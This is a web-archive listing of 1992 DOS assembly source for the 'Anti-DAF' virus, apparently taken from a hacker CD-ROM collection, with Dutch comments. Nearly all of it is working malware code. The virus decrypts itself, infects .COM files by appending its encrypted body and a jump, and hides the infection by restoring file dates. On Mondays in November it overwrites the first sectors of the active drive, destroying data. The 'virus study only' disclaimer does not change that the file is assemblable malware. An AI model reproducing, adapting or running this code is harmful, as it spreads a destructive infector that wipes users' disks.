home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tridcoll.err / DARKHELM.ZIP / ANTI_DAF.ZIP / ANTI_DAF.ASM next >
Encoding:
Assembly Source File  |  1995-01-02  |  8.4 KB  |  253 lines

  1. ;****************************************************************************;
  2. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  3. ;                                                                            ;
  4. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  5. ;                                                                            ;
  6. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  7. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  8. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  9. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  10. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  11. ; Is. Keep This Code in Responsible Hands!                                   ;
  12. ;                                                                            ;
  13. ;****************************************************************************;
  14. ;****************************************************************************
  15. ;*   The Anti_DAF Virus                                                     *
  16. ;*                                                                          *
  17. ;*   Assembled with Tasm 2.5                            *
  18. ;*                                                                          *
  19. ;*   (c) 1992 Dark Helmet & The Virus Research Centre, The Netherlands      *
  20. ;*   The author takes no responsibilty for any damages caused by the virus  *
  21. ;*                                                                          *
  22. ;*   Special greetings and thanx to :                                       *
  23. ;*   Glenn Benton, XSTC for their nice source and viruses,             *
  24. ;*   XXXXXXXXXXXXX for his BBS, Guns and Roses for their great music,         *
  25. ;*   and al the other viruswriters...                        *
  26. ;*                                                                          *
  27. ;*   "Dark Helmet strikes back..."                              *
  28. ;*                                                                          *
  29. ;*--------------------------------------------------------------------------*
  30. ;*                                        *
  31. ;*   NOTE : This virus will overwrite the first sectors of the active drive *
  32. ;*          on any monday in November.                                      *
  33. ;*                                        *   
  34. ;*   Coming soon : CIVIL WAR II                              *
  35. ;*                                        *
  36. ;*--------------------------------------------------------------------------*
  37. ;*                                                                          *
  38. ;*  Het Anti-DAF virus is hoofzakelijk gebaseerd op The Navigator virus     *
  39. ;*  De encryptie die bij Anti-DAF gebruikt wordt is gebaseerd               *
  40. ;*  op de encryptie zoals deze door Glenn Benton gebruikt is             *
  41. ;*  bij het 'RTL4/Wedden dat virus'.                                        *
  42. ;*  Om de controleren of een file geinfecteerd is worden de 4e, 5e en 6e    *
  43. ;*  bytes aan het begin gebruikt.                        *
  44. ;*                                        *
  45. ;*   XOR de 4e en 5e byte                            *
  46. ;*   Verhoog resultaat met 1                            *
  47. ;*   Vergelijk met 6e byte                                *
  48. ;*                                        *
  49. ;*   Is het resultaat gelijk dan is de file al besmet, de 6e byte word ook  *
  50. ;*   voor de decryptie gebruikt.                        *
  51. ;*   Verlaag deze waarde met 1 en je hebt de sleutel zoals deze bij de      *
  52. ;*   decrypty in gebruik is.                            *
  53. ;*   Het 4e byte word bepaald uit de lengte van de file + 1.                *
  54. ;*   De 5e byte word bepaald door het aantal seconden van             *
  55. ;*   de systeemtijd te pakken.                            * 
  56. ;*                                                                          *
  57. ;*   Dark Helmet                                *
  58. ;*                                        *
  59. ;****************************************************************************
  60.  
  61.         .Radix 16
  62.  
  63. Anti_DAF        Segment
  64.         Assume cs:Anti_DAF, ds:Anti_DAF
  65.                 org 100h
  66.  
  67. len         equ offset last - begin
  68. vir_len            equ offset last - vir_start 
  69.  
  70. Dummy:          db 0e9h, 03h, 00h
  71. Key:            db 000h, 00h, 01h
  72.  
  73. Begin:          call virus            ; IP op stack
  74.  
  75. Virus:          pop bp                ; Haal IP van Stack    
  76.                 sub bp,109h            
  77.                 lea si,vir_start+[bp]           ; voor decryptie     
  78.         mov di,si
  79.         mov cx,vir_len             ; lengte decryptie gedeelte    
  80.         mov ah,ds:[105h]        ; haal sleutel op
  81.         dec ah                          ; sleutel met 1 verminderen
  82.                         ; voor decryptie
  83.  
  84. decrypt:        lodsb                ; decrypt virus
  85.         xor al,ah            
  86.         stosb
  87.         loop decrypt
  88.  
  89. vir_start:    mov dx,0fe00h            ; verplaats DTA
  90.         mov ah,1ah
  91.         int 21h
  92.  
  93. restore_begin:  mov di,0100h            ; herstel begin programma
  94.         lea si,ds:[buffer+bp]
  95.         mov cx,06h
  96.         rep movsb
  97.  
  98.         mov ah,2ah            ;kijk of het een maandag     
  99.         int 21h                ;in november is
  100.         cmp dh,00bh
  101.         jne no_activate
  102.         cmp al,01h
  103.         jne no_activate
  104.  
  105. activate:    mov ah,09h            ; activeer het virus :-)
  106.         lea dx,[text+bp]        ; druk text af
  107.         int 21h
  108.         mov ah,19h            ; vraag drive op
  109.         int 21h
  110.         mov dx,0                ; overschrijf eerste sectors
  111.         mov cx,10h            ; van huidige drive
  112.         mov bx,0            
  113.             int 26h
  114.         jmp exit
  115.  
  116.  
  117.  
  118. no_activate:    lea dx,[com_mask+bp]        ; zoekt eerste .COM program
  119.         mov ah,04eh            ; in directorie
  120.         xor cx,cx
  121.         int 21h
  122.  
  123. Open_file:    mov ax,03d02h            ; open gevonden file
  124.         mov dx,0fe1eh
  125.         int 21h
  126.         mov [handle+bp],ax
  127.         xchg ax,bx
  128.  
  129. Read_date:    mov ax,05700h            ;lees datum/tijd file
  130.         int 21h                ;en bewaar deze
  131.         mov [date+bp],dx
  132.         mov [time+bp],cx
  133.  
  134. Check_infect:    mov bx,[handle+bp]        ; kijkt of al geinfecteerd
  135.         mov ah,03fh
  136.         mov cx,06h
  137.         lea dx,[buffer+bp]
  138.         int 21h
  139.                 mov al,byte ptr [buffer+bp]+3
  140.         xor al,byte ptr [buffer+bp]+4 
  141.         inc al
  142.         cmp al,byte ptr [buffer+bp]+5    
  143.         jne infect_file
  144.  
  145. Close_file:     mov bx,[handle+bp]        ; sluit file 
  146.         mov ah,3eh
  147.         int 21h
  148.  
  149. Next_file:      mov ah,4fh            ; zoekt volgende file
  150.         int 21h
  151.         jnb open_file
  152.         jmp exit            ; geen meer gevonden,
  153.                         ; ga naar exit
  154.  
  155. Infect_file:    mov ax,word ptr [cs:0fe1ah]    ; lees lengte van file in
  156.         sub ax,03h
  157.         mov [lenght+bp],ax        ; sla lengte op voor sprong
  158.                         ; instructie zodadelijk    
  159.         inc al                ; verhoog AL, eerste key 
  160.         mov [key1+bp],al            
  161.         mov ah,2ch            ; vraag systeemtijd op
  162.         int 21h
  163.         mov [key2+bp],dh        ; gebruik seconden voor tweede
  164.                         ; key
  165.         mov al,dh
  166.         xor al,[key1+bp]        ; derde sleutel en sleutel
  167.                         ; voor encrypty is een xor
  168.                         ; van key1 en key2
  169.         mov [sleutel+bp],al
  170.         lea si,vir_start+[bp]
  171.         mov di,0fd00h            ; encrypt hele zooi aan het
  172.                         ; einde van het segment
  173.         mov cx,vir_len 
  174.         
  175. Encrypt:    lodsb                ; de encryptie    
  176.         xor al,[sleutel+bp]
  177.         stosb
  178.         loop encrypt
  179.         mov al,[sleutel+bp]
  180.         inc al
  181.         mov [sleutel+bp],al
  182.  
  183. Write_jump:    mov ax,04200h               ; schrijf de jmp die het
  184.         call move_pointer           ; die het virus aan het begin    
  185.                 mov ah,40h               ; maakt    
  186.         mov cx,01h
  187.         lea dx,[jump+bp]
  188.         int 21h
  189.         
  190.         mov ah,40h            ; schrijf de offset die de jmp
  191.         mov cx,02h            ; maakt
  192.         lea dx,[lenght+bp]
  193.         int 21h
  194.         
  195.         mov ah,40            ; schrijf de sleutels weg
  196.         mov cx,03h
  197.         lea dx,[key1+bp]
  198.         int 21h
  199.                 
  200. Write_virus:    mov ax,4202h            ; schrijf virus gedeelte
  201.         call move_pointer        ; tot vir_start
  202.         mov ah,40h
  203.         mov cx,len - vir_len
  204.         lea dx,[begin+bp]
  205.         int 21h
  206.         mov ah,40h            ; schrijf het encrypte virus
  207.         mov cx,vir_len             ; achter de rest van het virus
  208.         mov dx,0fd00h
  209.         int 21h
  210.  
  211. restore_date:   mov dx,[date+bp]        ; herstel datum/tijd
  212.         mov cx,[time+bp]        ; geinfecteerde file
  213.         mov bx,[handle+bp]
  214.         mov ax,05701h
  215.         int 21h
  216.  
  217. exit:        mov bx,0100h            ; continu met orgineel 
  218.         jmp bx                ; orgineel programma
  219.  
  220. ;----------------------------------------------------------------------------
  221.  
  222. move_pointer:   mov bx,[handle+bp]
  223.         xor cx,cx
  224.         xor dx,dx
  225.         int 21h
  226.         ret
  227.         
  228. ;----------------------------------------------------------------------------
  229.  
  230. com_mask    db "*.com",0
  231. handle        dw ?
  232. date        dw ?
  233. time        dw ?
  234. buffer          db 090h,0cdh,020h,044h,048h,00h
  235. lenght        dw ?
  236. jump            db 0e9h,0
  237. text            db 0ah,0ah,0dh,"The Anti-DAF virus",0ah,0dh
  238.         db "DAF-TRUCKS Eindhoven",0ah,0dh
  239.         db "Hugo vd Goeslaan 1",0ah,0dh
  240.         db "Postbus 90063",0ah,0dh
  241.         db "5600 PR Eindhoven, The Netherlands",0ah,0dh
  242.         db 0ah,"DAF sucks...",0ah,0dh 
  243.         db "(c) 1992 Dark Helmet & The Virus Research Centre",0ah,0dh,"$",0
  244.  
  245. key1        db 00
  246. key2        db 00
  247. sleutel         db 00
  248. last        db 090h
  249.  
  250. Anti_DAF    ends
  251.         end  dummy
  252. ;****************************************************************************;
  253.